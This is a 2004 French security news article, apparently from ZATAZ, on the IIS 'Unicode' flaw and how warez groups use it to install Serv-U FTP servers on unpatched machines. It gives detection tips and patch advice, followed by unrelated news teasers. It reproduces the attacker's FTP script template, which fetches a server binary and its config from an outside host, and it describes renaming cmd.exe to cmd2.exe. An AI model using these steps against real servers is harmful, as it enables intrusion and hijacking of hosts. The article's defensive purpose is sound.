Publié le 22-02-2004 dans le thème Contrefaçon

Pays : International - Auteur : Albert Einstein

Pub : CA Anti-Spam 2007 - Bloquez les messages indésirables!

Depuis 1999, une faille visant les serveurs IIS de Microsoft permet, avec une simple ligne de code, d'accéder au disque dur d'un serveur connecté au réseau. Les groupes de warez ont trés vite compris l'utilité de ce probléme.

Depuis 1999, une faille visant les serveurs IIS de Microsoft permet, avec une simple ligne de code d'accéder au disque dur d'un serveur connecté et non patché face à cette faille communément appelée Unicode. Un simple ligne de commande lancée dans votre logiciel de navigation et il est possible de modifier l'ensemble du contenue des disques durs d'un ordinateur équipé d'un serveur web IIS. Pour vois si votre serveur est faillible, nous vous proposons d'ailleurs notre logiciel ZunicoZ qui vous automatise cette recherche d'un clic de souris. Après la médiatisation de cette faille, due entre autre par le virus code red, on aurait pu penser que cette faille avait certainement disparu du réseau. Et bien détrompez-vous, elle est toujours aussi présente et certains logiciels, comme "nicode", permettent de scanner l'Internet à la recherche de ces serveurs si facile à pénétrer. Cette possibilité est utilisée par les groupes de warez qui ont vu, certains de leurs membres, se spécialiser dans le piratage de serveur IIS.

Sesame, ouvre toi !
Le principe est simple. Le pirate prend une adresse ip d'un serveur sensible à cette faille. Des listes circulent, souvent fournies par les scanneurs des groupes de warez. Grâce àune dizaine de commandes envoyées au serveur, cela va permettre de télécharger sur la machine cible, un serveur ftp (Généralement serv-u.exe, ndlr) ainsi que sa configuration comprenant généralement deux comptes : Le premier, celui de l'admin. Un compte qui donne les droits complets d'accès. Un accés uniquement diffusé aux "Supplyers", les fournisseurs/diffuseurs de la team warez.

L'autre compte offre seulement la possibilité aux internautes de télécharger les releases (Jeux, logiciels, films ou albums piratées, ndlr.). Il ne peut rien effacer, ni modifier. Les teams warez peuvent ainsi utiliser des DD de plusieurs dizaines de giga octets sans craintes de laisser une trace. Celles-ci seront effacées par un membre ayant un accès admin.

Faites donc attention, si votre ordinateur est équipé d'un serveur IIS, vous hébergez peut-être déjà des logiciels piratés a l'insu de votre plein grès.

Solution et dépendance
Voici quelques solutions pour repérer si une quelconque personne a tenté ou mis un serveur ftp sur votre ordinateur. Pour son confort le pirate va copier le fichier cmd.exe, initialement dans winnt/system32, vers le dossier /temp/ avec comme nom cmd2.exe.

Si vous trouver cmd2.exe dans le répertoire /temp/ il semble que quelqu'un a déjà eu accès à votre machine. Toujours dans le répertoire /temp/ vous pouvez trouver un fichier texte ayant cette forme:

open "ftp.adresse.com"
user "login"
"pass"
get nomduserveur.exe
get nomdufichierconfig.ini
quit

Les termes entre guillemets sont bien sur dépendants du pirate. Dans 90 % des cas vous trouverez le mot leech en login, voir même en mot de passe. Vous avez ici le fichier qui va permettre au pirate de faire télécharger au serveur web le serveur ftp ainsi que sa configuration sur un compte ftp. (Généralement le ftp sera celui d'un hébergeur gratuit, ndlr)

Les fichiers précédents vont être télécharger dans c:\Inetpub\scripts. Si vous trouvez dans ce répertoire les fichiers précédents, il faut les supprimer. Attention, cela ne règle que temporairement le problème. La meilleure solution étant bien sur de patcher votre serveur avec le correctif disponible sur le site de Microsoft. Pensez à lancer une recherche sur votre machine, car ces programmes peuvent être installés autre part.

Une autre méthode pour savoir si votre pc n'est pas transformé en ftp pirate. Recherchez les mots suivant : mp3, divx, xbox, ps2, warez, iso, appz. Une autre recherche sur le terme serv-u pourra vous éclairer un peu mieux sur une éventuelle visite warezienne. Bien sur, les plus malins auront modifié le nom du fichier en wazzaaa.exe ou un nom encore plus difficile à détecter, comme systems.exe.

Concours Coca Cola 2008

Vous venez de gagner un lot de 32.000 euros via un concours organisé par Coca-Cola. Une arnaque sans sucre.

Fuite de données via Google Bloc-notes

Un commercial de la société Vonage enregistré ses notes et données sensibles sur son espace privé Google Bloc-notes.

Un nouveau ver s'attaque aux réseaux d´entreprise

Une alerte concernant les nouvelles versions du ver Downadup. Ce ver infecte les postes de travail et serveurs Windows.

Espionnage informatique effectué par la police

Le département britannique de l´Intérieur annonce préparer un plan qui permettra à la police d´infiltrer et espionner les ordinateurs personnels de l´ensemble des citoyens.

Université des Correspondants Informatique et Libertés

L´Association Française des Correspondants Informatique et Libertés organise le 21 janvier prochain sa 3ème Université des Correspondants Informatique et Libertés.

La justice Chinoise s´attaque aux contrefacteurs

La Chine a rendu public huit importants cas de réseaux de contrefacteurs de films, logiciels et livres.

L´actualité juridique du mois de décembre

Comme il est de tradition sur ZATAZ depuis 13 ans, voici les actualités mensuelles de Maître Murielle Cahen, avocate spécialisée dans les NTIC.

Mort de Castlecops

Castlecops, association qui travaillait sur la cybercriminalité, vient d´annonce la cessation de ses activités.

La justice Chinoise s´attaque aux contrefacteurs

La Chine a rendu public huit importants cas de réseaux de contrefacteurs de films, logiciels et livres.

Le business pour adultes mais un doigt là ou ça fait mal

La société Hustler Europe a les boules. Elle fait appel à la société Media Protector pour traquer les vilains copieurs de ses films X.

La RIAA ne fait plus danser MediaSentry

La Recording Industry Association of America remercie la société qui enquêtait pour elle. MediaSentry ne chassera plus l'internaute copieur pour le compte de la RIAA.

Pas confondre PSP et P2P

Il avait réencodé le film Wanted pour le regarder sur PSP. Le pirate le diffuse sur Internet... et écope de 2 ans de prison.

Utilisation illicite de votre service internet

Le Fournisseur d´Accès à Internet Vidéotron écrit à ses clients un peu trop amateur de P2P.

Warez: un couple important arrêté

Un couple arrêtés dans un affaire warez. Deux canadiens qui semblent être proche d´un forum couru par les copieurs pirates francophones.

Warez: 14.000 euros de salaire par mois pour un pirate

Un pirate de film arrêté par la police. Le pro du warez signait un chiffre d´affaire de 14.000 euros par mois.

Le pirate de la presse française de retour sur la toile

ebook Factory, un site dédié à la diffusion de copies pirates de journaux français de retour sur Internet.

Réagissez à ce contenu